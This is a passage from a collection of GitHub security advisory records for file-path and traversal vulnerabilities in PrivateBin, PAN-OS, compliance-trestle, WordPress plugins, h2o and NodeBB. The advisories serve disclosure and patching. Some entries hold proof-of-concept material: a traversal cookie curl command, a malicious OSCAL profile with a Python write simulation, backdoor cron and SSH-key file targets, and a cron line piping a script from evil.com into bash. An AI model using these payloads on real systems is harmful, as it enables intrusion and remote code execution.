\u0027https://privatebin.info/directory/api?top=100\u0026version=1.7.7\u0027 | jq --raw-output \u0027.[].url\u0027\n) $(\n curl --silent --header \u0027Accept: application/json\u0027 \u0027https://privatebin.info/directory/api?top=100\u0026version=1.7.8\u0027 | jq --raw-output \u0027.[].url\u0027\n) $(\n curl --silent --header \u0027Accept: application/json\u0027 \u0027https://privatebin.info/directory/api?top=100\u0026version=2\u0027 | jq --raw-output \u0027.[].url\u0027\n)\ndo\n curl --silent \"$URL\" | grep -q \u0027id=\"template\"\u0027 \u0026\u0026 echo \"$URL uses template switcher\"\ndone\n```\n\nNone of these instances had an unprotected PrivateBin configuration file in use. The following script was used and may be adapted to check any single instance:\n\n```shell\ncurl --silent --cookie \u0027template=../cfg/conf\u0027 https://privatebin.net\n```\n\n## Technical Description\n\nUsers can select their preferred template via the `template` cookie, as seen in `TemplateSwitcher::getSelectedByUserTemplate`:\n\n```php\n private static function getSelectedByUserTemplate(): ?string\n {\n $selectedTemplate = null;\n $templateCookieValue = $_COOKIE[\u0027template\u0027] ?? \u0027\u0027;\n\n if (self::isTemplateAvailable($templateCookieValue)) {\n $selectedTemplate = $templateCookieValue;\n }\n\n return $selectedTemplate;\n }\n```\n\nIn [this commit](44f8cfbfb8df4b4bec1cbf79aa8ce51abdb18be3), introduced in 1.7.7, the `TemplateSwitcher::isTemplateAvailable` method went from this:\n\n```php\n public static function isTemplateAvailable(string $template): bool\n {\n return in_array($template, self::getAvailableTemplates());\n }\n```\n\nto this:\n\n```php\n public static function isTemplateAvailable(string $template): bool\n {\n $available = in_array($template, self::getAvailableTemplates());\n\n if (!$available \u0026\u0026 !View::isBootstrapTemplate($template)) {\n $path = View::getTemplateFilePath($template);\n $available = file_exists($path);\n }\n\n return $available;\n }\n```\n\nThe new code will now blindly trust `$template`, unless it starts with the string `bootstrap-`.\n\n`View::getTemplateFilePath` will return `PATH . \u0027tpl\u0027 . DIRECTORY_SEPARATOR . $file . \u0027.php\u0027`, allowing directory traversal, but preventing non-PHP files to be included.\n\n`View::draw` will then include the user-submitted template:\n\n```php\n public function draw($template)\n {\n $path = self::getTemplateFilePath($template);\n if (!file_exists($path)) {\n throw new Exception(\u0027Template \u0027 . $template . \u0027 not found!\u0027, 80);\n }\n extract($this-\u003e_variables);\n include $path;\n }\n```\n\n**Note:** this is only possible if `templateselection` configuration is enabled, or if no template has been set. The `template` will be rewritten if this condition isn\u0027t met:\n\n```php\n private function _setDefaultTemplate()\n {\n $templates = $this-\u003e_conf-\u003egetKey(\u0027availabletemplates\u0027);\n $template = $this-\u003e_conf-\u003egetKey(\u0027template\u0027);\n TemplateSwitcher::setAvailableTemplates($templates);\n TemplateSwitcher::setTemplateFallback($template);\n\n // force default template, if template selection is disabled and a default is set\n if (!$this-\u003e_conf-\u003egetKey(\u0027templateselection\u0027) \u0026\u0026 !empty($template)) {\n $_COOKIE[\u0027template\u0027] = $template;\n setcookie(\u0027template\u0027, $template, array(\u0027SameSite\u0027 =\u003e \u0027Lax\u0027, \u0027Secure\u0027 =\u003e true));\n }\n }\n```\n\n### Reproduction Steps\n\n1. Configure PrivateBin with templateselection = true (default template list is fine).\n2. Send a request with a malicious template cookie like `template=../cfg/conf`, where the relative path points to a PHP file without its file suffix\n3. The script now includes the select PHP file (leading to a 500 in that specific case).\n\n## Mitigation\n\n### Patches\n\nThe issue has been patched in version 2.0.3.\n\n### Workarounds\n\nSet `templateselection = false` in `cfg/conf.php` or remove it, it\u0027s default is `false`.\n\n## Credits\n\nPrivateBin would like to thank [Benoit Esnard](https://github.com/esnard), who reported this vulnerability.\n\nIn general, PrivateBin would like to thank everyone reporting issues and potential vulnerabilities to us.\n\nIf a user suspects they have found a vulnerability or potential security risk, [PrivateBin kindly asks them to follow the security policy](https://github.com/PrivateBin/PrivateBin/blob/master/SECURITY.md) and report it to PrivateBin. After submssion the report is assessed and necessary actions will be taken to address it.\n\n## Timeline\n\n- 2025-11-09 Received report via GitHub Security Advisory\n- 2025-11-10 Discussed and reproduced issue, wrote a unit test case based on this, started work on a patch\n- 2025-11-11 Further work on patch, refactored related code\n- 2025-11-12 Released patch with PrivateBin 2.0.3",
"id": "GHSA-g2j9-g8r5-rg82",
"modified": "2025-11-14T20:33:36Z",
"published": "2025-11-14T20:33:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64714"
},
{
"type": "WEB",
"url": "https://github.com/PrivateBin/PrivateBin/commit/4434dbf73ac53217fda0f90d8cf9b6110f8acc4f"
},
{
"type": "PACKAGE",
"url": "https://github.com/PrivateBin/PrivateBin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PrivateBin\u0027s template-switching feature allows arbitrary local file inclusion through path traversal"
}
GHSA-G2V4-64GQ-V8VX
Vulnerability from github – Published: 2025-02-12 21:31 – Updated: 2025-02-12 21:31An unauthenticated file deletion vulnerability in the Palo Alto Networks PAN-OS management web interface enables an unauthenticated attacker with network access to the management web interface to delete certain files as the “nobody” user; this includes limited logs and configuration files but does not include system files.
You can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practices deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue does not affect Cloud NGFW or Prisma Access software.
{
"affected": [],
"aliases": [
"CVE-2025-0109"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-12T21:15:16Z",
"severity": "MODERATE"
},
"details": "An unauthenticated file deletion vulnerability in the Palo Alto Networks PAN-OS management web interface enables an unauthenticated attacker with network access to the management web interface to delete certain files as the \u201cnobody\u201d user; this includes limited logs and configuration files but does not include system files.\n\n\nYou can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practices deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\nThis issue does not affect Cloud NGFW or Prisma Access software.",
"id": "GHSA-g2v4-64gq-v8vx",
"modified": "2025-02-12T21:31:54Z",
"published": "2025-02-12T21:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0109"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2024-0109"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:C/RE:M/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-G3MV-CM79-HCFR
Vulnerability from github – Published: 2024-07-09 18:30 – Updated: 2024-07-09 18:30Windows Distributed Transaction Coordinator Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-38049"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T17:15:33Z",
"severity": "MODERATE"
},
"details": "Windows Distributed Transaction Coordinator Remote Code Execution Vulnerability",
"id": "GHSA-g3mv-cm79-hcfr",
"modified": "2024-07-09T18:30:51Z",
"published": "2024-07-09T18:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38049"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38049"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G3VG-VX23-3858
Vulnerability from github – Published: 2026-05-27 22:57 – Updated: 2026-05-27 22:57Summary
The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (../). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location outside the intended cache directory, enabling arbitrary file write with attacker-controlled content to the filesystem.
Attack chain: Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)
Affected Component
Repository: https://github.com/IBM/compliance-trestle
File: trestle/core/remote/cache.py (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher)
Version: v4.0.2 (latest as of 2026-04-30)
Vulnerable Code
cache.py:259-266 — HTTPSFetcher cache path construction
class HTTPSFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
# ...
u = parse.urlparse(self._uri)
# ...
if u.hostname is None:
raise TrestleError(f'Cache request for {self._uri} requires hostname')
https_cached_dir = self._trestle_cache_path / u.hostname
# ❌ path_parent preserves ../ sequences from URL
path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
https_cached_dir = https_cached_dir / path_parent
https_cached_dir.mkdir(parents=True, exist_ok=True) # ❌ Creates dirs outside cache
self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)
cache.py:285-295 — Content written to traversed path
def _do_fetch(self) -> None:
# ...
response = requests.get(self._url, auth=auth, verify=verify, timeout=30)
if response.status_code == 200:
result = response.text # ❌ Attacker-controlled content
self._cached_object_path.write_text(result) # ❌ Written to arbitrary path
cache.py:328-333 — SFTPFetcher (identical pattern)
class SFTPFetcher(FetcherBase):
def __init__(self, ...):
# Identical path construction — same vulnerability
sftp_cached_dir = self._trestle_cache_path / u.hostname
path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
sftp_cached_dir = sftp_cached_dir / path_parent
sftp_cached_dir.mkdir(parents=True, exist_ok=True)
self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)
Root Cause:
1. urlparse("https://evil.com/../../../tmp/pwned.json").path = /../../../tmp/pwned.json — preserves ../
2. pathlib.Path(u.path).parent preserves traversal sequences
3. cache_dir / hostname / "../../../../../../tmp" resolves outside cache
4. mkdir(parents=True, exist_ok=True) creates intermediate directories
5. write_text(response.text) writes attacker-controlled content to traversed path
6. No is_relative_to() boundary check on the resolved path
Steps to Reproduce
Prerequisites
pip install compliance-trestle==4.0.2
PoC: Malicious OSCAL Profile
# malicious_profile.yaml — arbitrary file write via cache traversal
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
PoC: Cache Path Traversal Simulation
#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse
# Simulate trestle cache behavior (cache.py:259-266)
trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_"))
cache_dir = trestle_root / ".trestle" / ".cache"
cache_dir.mkdir(parents=True, exist_ok=True)
evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
u = urlparse(evil_url)
# Exact trestle code path
cached_dir = cache_dir / u.hostname
m = re.search(r'[^/\\\\]', u.path)
path_parent = Path(u.path[m.span()[0]:]).parent
cached_dir = cached_dir / path_parent
cached_dir.mkdir(parents=True, exist_ok=True)
cached_file = cached_dir / Path(Path(u.path).name)
print(f"Cache dir: {cache_dir}")
print(f"Resolved write target: {cached_file.resolve()}")
# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!
# Write attacker content
attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"'
cached_file.write_text(attacker_payload)
print(f"Written: {cached_file.resolve().read_text()}")
# Cleanup
os.remove(str(cached_file.resolve()))
shutil.rmtree(str(trestle_root))
Expected: Write confined to .trestle/.cache/ directory
Actual: File written to /tmp/trestle_pwned.json (arbitrary filesystem location)
Remediation
Fix for HTTPSFetcher (cache.py:259-266):
class HTTPSFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
# ...
u = parse.urlparse(self._uri)
https_cached_dir = self._trestle_cache_path / u.hostname
# ✅ Sanitize path: remove traversal sequences
safe_path = pathlib.PurePosixPath(u.path).parts
safe_path = [p for p in safe_path if p != '..' and p != '/']
path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.')
https_cached_dir = https_cached_dir / path_parent
https_cached_dir.mkdir(parents=True, exist_ok=True)
self._cached_object_path = https_cached_dir / safe_path[-1]
# ✅ Boundary check
if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):
raise TrestleError(
f"Cache path traversal blocked: URL '{uri}' resolves to "
f"'{self._cached_object_path.resolve()}' outside cache directory"
)
Same fix required for SFTPFetcher at lines 328-333.
References
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- CWE-73: https://cwe.mitre.org/data/definitions/73.html
- compliance-trestle: https://github.com/IBM/compliance-trestle
Impact
1. Cron Job Injection → Remote Code Execution
# Profile that writes a cron job
imports:
- href: "https://evil.com/../../../../../../../etc/cron.d/backdoor"
Attacker's server responds with:
* * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'
2. SSH Authorized Keys Injection
imports:
- href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys"
Attacker's server responds with their SSH public key.
3. Config File Overwrite
imports:
- href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf"
4. Python Path Hijacking
Write malicious .py file to a location on sys.path for code execution on next import.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.0.2"
},
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45725"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-27T22:57:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe compliance-trestle library\u0027s remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (`../`). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location **outside the intended cache directory**, enabling **arbitrary file write with attacker-controlled content** to the filesystem.\n\n**Attack chain:** Malicious OSCAL profile \u2192 HTTPS fetch \u2192 cache path traversal \u2192 arbitrary file write \u2192 RCE (via cron, SSH keys, etc.)\n\n## Affected Component\n\n**Repository:** https://github.com/IBM/compliance-trestle\n**File:** `trestle/core/remote/cache.py` (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher)\n**Version:** v4.0.2 (latest as of 2026-04-30)\n## Vulnerable Code\n\n### cache.py:259-266 \u2014 HTTPSFetcher cache path construction\n\n```python\nclass HTTPSFetcher(FetcherBase):\n def __init__(self, trestle_root: pathlib.Path, uri: str) -\u003e None:\n # ...\n u = parse.urlparse(self._uri)\n # ...\n if u.hostname is None:\n raise TrestleError(f\u0027Cache request for {self._uri} requires hostname\u0027)\n https_cached_dir = self._trestle_cache_path / u.hostname\n # \u274c path_parent preserves ../ sequences from URL\n path_parent = pathlib.Path(u.path[re.search(\u0027[^/\\\\\\\\]\u0027, u.path).span()[0] :]).parent\n https_cached_dir = https_cached_dir / path_parent\n https_cached_dir.mkdir(parents=True, exist_ok=True) # \u274c Creates dirs outside cache\n self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)\n```\n\n### cache.py:285-295 \u2014 Content written to traversed path\n\n```python\n def _do_fetch(self) -\u003e None:\n # ...\n response = requests.get(self._url, auth=auth, verify=verify, timeout=30)\n if response.status_code == 200:\n result = response.text # \u274c Attacker-controlled content\n self._cached_object_path.write_text(result) # \u274c Written to arbitrary path\n```\n\n### cache.py:328-333 \u2014 SFTPFetcher (identical pattern)\n\n```python\nclass SFTPFetcher(FetcherBase):\n def __init__(self, ...):\n # Identical path construction \u2014 same vulnerability\n sftp_cached_dir = self._trestle_cache_path / u.hostname\n path_parent = pathlib.Path(u.path[re.search(\u0027[^/\\\\\\\\]\u0027, u.path).span()[0] :]).parent\n sftp_cached_dir = sftp_cached_dir / path_parent\n sftp_cached_dir.mkdir(parents=True, exist_ok=True)\n self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)\n```\n\n**Root Cause:**\n1. `urlparse(\"https://evil.com/../../../tmp/pwned.json\").path` = `/../../../tmp/pwned.json` \u2014 preserves `../`\n2. `pathlib.Path(u.path).parent` preserves traversal sequences\n3. `cache_dir / hostname / \"../../../../../../tmp\"` resolves outside cache\n4. `mkdir(parents=True, exist_ok=True)` creates intermediate directories\n5. `write_text(response.text)` writes attacker-controlled content to traversed path\n6. **No `is_relative_to()` boundary check** on the resolved path\n\n\n## Steps to Reproduce\n\n### Prerequisites\n\n```bash\npip install compliance-trestle==4.0.2\n```\n\n### PoC: Malicious OSCAL Profile\n\n```yaml\n# malicious_profile.yaml \u2014 arbitrary file write via cache traversal\nprofile:\n uuid: \"550e8400-e29b-41d4-a716-446655440000\"\n metadata:\n title: \"Malicious Profile\"\n version: \"1.0\"\n last-modified: \"2024-01-01T00:00:00+00:00\"\n oscal-version: \"1.0.4\"\n imports:\n - href: \"https://evil.com/../../../../../../../tmp/trestle_pwned.json\"\n```\n\n### PoC: Cache Path Traversal Simulation\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Cache path traversal \u2192 arbitrary file write\"\"\"\nimport os, re, tempfile, shutil\nfrom pathlib import Path\nfrom urllib.parse import urlparse\n\n# Simulate trestle cache behavior (cache.py:259-266)\ntrestle_root = Path(tempfile.mkdtemp(prefix=\"trestle_poc_\"))\ncache_dir = trestle_root / \".trestle\" / \".cache\"\ncache_dir.mkdir(parents=True, exist_ok=True)\n\nevil_url = \"https://evil.com/../../../../../../../tmp/trestle_pwned.json\"\nu = urlparse(evil_url)\n\n# Exact trestle code path\ncached_dir = cache_dir / u.hostname\nm = re.search(r\u0027[^/\\\\\\\\]\u0027, u.path)\npath_parent = Path(u.path[m.span()[0]:]).parent\ncached_dir = cached_dir / path_parent\ncached_dir.mkdir(parents=True, exist_ok=True)\ncached_file = cached_dir / Path(Path(u.path).name)\n\nprint(f\"Cache dir: {cache_dir}\")\nprint(f\"Resolved write target: {cached_file.resolve()}\")\n# Output: /tmp/trestle_pwned.json \u2190 OUTSIDE cache directory!\n\n# Write attacker content\nattacker_payload = \u0027*/5 * * * * root /bin/bash -c \"id \u003e /tmp/rce_proof\"\u0027\ncached_file.write_text(attacker_payload)\nprint(f\"Written: {cached_file.resolve().read_text()}\")\n\n# Cleanup\nos.remove(str(cached_file.resolve()))\nshutil.rmtree(str(trestle_root))\n```\n\n**Expected:** Write confined to `.trestle/.cache/` directory\n**Actual:** File written to `/tmp/trestle_pwned.json` (arbitrary filesystem location)\n\n\n## Remediation\n\n### Fix for HTTPSFetcher (cache.py:259-266):\n\n```python\nclass HTTPSFetcher(FetcherBase):\n def __init__(self, trestle_root: pathlib.Path, uri: str) -\u003e None:\n # ...\n u = parse.urlparse(self._uri)\n https_cached_dir = self._trestle_cache_path / u.hostname\n\n # \u2705 Sanitize path: remove traversal sequences\n safe_path = pathlib.PurePosixPath(u.path).parts\n safe_path = [p for p in safe_path if p != \u0027..\u0027 and p != \u0027/\u0027]\n path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) \u003e 1 else pathlib.Path(\u0027.\u0027)\n\n https_cached_dir = https_cached_dir / path_parent\n https_cached_dir.mkdir(parents=True, exist_ok=True)\n self._cached_object_path = https_cached_dir / safe_path[-1]\n\n # \u2705 Boundary check\n if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):\n raise TrestleError(\n f\"Cache path traversal blocked: URL \u0027{uri}\u0027 resolves to \"\n f\"\u0027{self._cached_object_path.resolve()}\u0027 outside cache directory\"\n )\n```\n\nSame fix required for SFTPFetcher at lines 328-333.\n\n## References\n\n- **CWE-22:** https://cwe.mitre.org/data/definitions/22.html\n- **CWE-73:** https://cwe.mitre.org/data/definitions/73.html\n- **compliance-trestle:** https://github.com/IBM/compliance-trestle\n\n## Impact\n\n### 1. Cron Job Injection \u2192 Remote Code Execution\n\n```yaml\n# Profile that writes a cron job\nimports:\n - href: \"https://evil.com/../../../../../../../etc/cron.d/backdoor\"\n```\n\nAttacker\u0027s server responds with:\n```\n* * * * * root /bin/bash -c \u0027curl https://evil.com/shell.sh | bash\u0027\n```\n\n### 2. SSH Authorized Keys Injection\n\n```yaml\nimports:\n - href: \"https://evil.com/../../../../../../../root/.ssh/authorized_keys\"\n```\n\nAttacker\u0027s server responds with their SSH public key.\n\n### 3. Config File Overwrite\n\n```yaml\nimports:\n - href: \"https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf\"\n```\n\n### 4. Python Path Hijacking\n\nWrite malicious `.py` file to a location on `sys.path` for code execution on next import.",
"id": "GHSA-g3vg-vx23-3858",
"modified": "2026-05-27T22:57:38Z",
"published": "2026-05-27T22:57:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-g3vg-vx23-3858"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/89f4e53d159e8ff901da4d7c3b51c9556bd32ec0"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/9abc492329fcc8d0557182317de9bde854385da3"
},
{
"type": "PACKAGE",
"url": "https://github.com/oscal-compass/compliance-trestle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal"
}
GHSA-G463-PW3X-JMJ3
Vulnerability from github – Published: 2024-10-30 03:30 – Updated: 2026-04-08 18:33The Code Explorer plugin for WordPress is vulnerable to arbitrary external file reading in all versions up to, and including, 1.4.5. This is due to the fact that the plugin does not restrict accessing files to those outside of the WordPress instance, though the intention of the plugin is to only access WordPress related files. This makes it possible for authenticated attackers, with administrator-level access, to read files outside of the WordPress instance.
{
"affected": [],
"aliases": [
"CVE-2023-5816"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-30T03:15:03Z",
"severity": "MODERATE"
},
"details": "The Code Explorer plugin for WordPress is vulnerable to arbitrary external file reading in all versions up to, and including, 1.4.5. This is due to the fact that the plugin does not restrict accessing files to those outside of the WordPress instance, though the intention of the plugin is to only access WordPress related files. This makes it possible for authenticated attackers, with administrator-level access, to read files outside of the WordPress instance.",
"id": "GHSA-g463-pw3x-jmj3",
"modified": "2026-04-08T18:33:39Z",
"published": "2024-10-30T03:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5816"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3234408%40code-explorer\u0026new=3234408%40code-explorer\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/code-explorer/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/42ecc4e5-d660-472f-823d-a29b84cdf041?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G477-CJ4H-5CFP
Vulnerability from github – Published: 2024-07-17 09:30 – Updated: 2026-04-08 21:32The BookingPress – Appointment Booking Calendar Plugin and Online Scheduling Plugin plugin for WordPress is vulnerable to Arbitrary File Read to Arbitrary File Creation in all versions up to, and including, 1.1.5 via the 'bookingpress_save_lite_wizard_settings_func' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create arbitrary files that contain the content of files on the server, allowing the execution of any PHP code in those files or the exposure of sensitive information.
{
"affected": [],
"aliases": [
"CVE-2024-6467"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-17T07:15:03Z",
"severity": "HIGH"
},
"details": "The BookingPress \u2013 Appointment Booking Calendar Plugin and Online Scheduling Plugin plugin for WordPress is vulnerable to Arbitrary File Read to Arbitrary File Creation in all versions up to, and including, 1.1.5 via the \u0027bookingpress_save_lite_wizard_settings_func\u0027 function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create arbitrary files that contain the content of files on the server, allowing the execution of any PHP code in those files or the exposure of sensitive information.",
"id": "GHSA-g477-cj4h-5cfp",
"modified": "2026-04-08T21:32:51Z",
"published": "2024-07-17T09:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6467"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3116857/bookingpress-appointment-booking/trunk/core/classes/class.bookingpress.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d0177510-cd7d-4cc5-96c3-78433aa0e3f6?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G48V-3P35-88JR
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 20:31In h2oai/h2o-3 version 3.46.0, the /99/Models/{name}/json endpoint allows for arbitrary file overwrite on the target server. The vulnerability arises from the exportModelDetails function in ModelsHandler.java, where the user-controllable mexport.dir parameter is used to specify the file path for writing model details. This can lead to overwriting files at arbitrary locations on the host system.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "h2o"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.4.1"
},
{
"last_affected": "3.46.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ai.h2o:h2o-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.4.1"
},
{
"last_affected": "3.46.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-8616"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-20T20:31:09Z",
"nvd_published_at": "2025-03-20T10:15:43Z",
"severity": "HIGH"
},
"details": "In h2oai/h2o-3 version 3.46.0, the `/99/Models/{name}/json` endpoint allows for arbitrary file overwrite on the target server. The vulnerability arises from the `exportModelDetails` function in `ModelsHandler.java`, where the user-controllable `mexport.dir` parameter is used to specify the file path for writing model details. This can lead to overwriting files at arbitrary locations on the host system.",
"id": "GHSA-g48v-3p35-88jr",
"modified": "2025-03-20T20:31:09Z",
"published": "2025-03-20T12:32:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8616"
},
{
"type": "PACKAGE",
"url": "https://github.com/h2oai/h2o-3"
},
{
"type": "WEB",
"url": "https://github.com/h2oai/h2o-3/blob/088190f9d0370a02a483fca68d8dc89c996b4f83/h2o-core/src/main/java/water/api/ModelsHandler.java#L310"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/aebf69a5-b9b1-4d2f-a8ff-902c11a8c97a"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "H2O Vulnerable to Arbitrary File Overwrite"
}
GHSA-G674-4Q3H-W499
Vulnerability from github – Published: 2026-01-21 18:30 – Updated: 2026-01-21 18:30NodeBB Plugin Emoji 3.2.1 contains an arbitrary file write vulnerability that allows administrative users to write files to arbitrary system locations through the emoji upload API. Attackers with admin access can craft file upload requests with directory traversal to overwrite system files by manipulating the file path parameter.
{
"affected": [],
"aliases": [
"CVE-2021-47746"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-21T18:16:02Z",
"severity": "HIGH"
},
"details": "NodeBB Plugin Emoji 3.2.1 contains an arbitrary file write vulnerability that allows administrative users to write files to arbitrary system locations through the emoji upload API. Attackers with admin access can craft file upload requests with directory traversal to overwrite system files by manipulating the file path parameter.",
"id": "GHSA-g674-4q3h-w499",
"modified": "2026-01-21T18:30:30Z",
"published": "2026-01-21T18:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47746"
},
{
"type": "WEB",
"url": "https://github.com/NodeBB/nodebb-plugin-emoji"
},
{
"type": "WEB",
"url": "https://nodebb.org"
},
{
"type": "WEB",
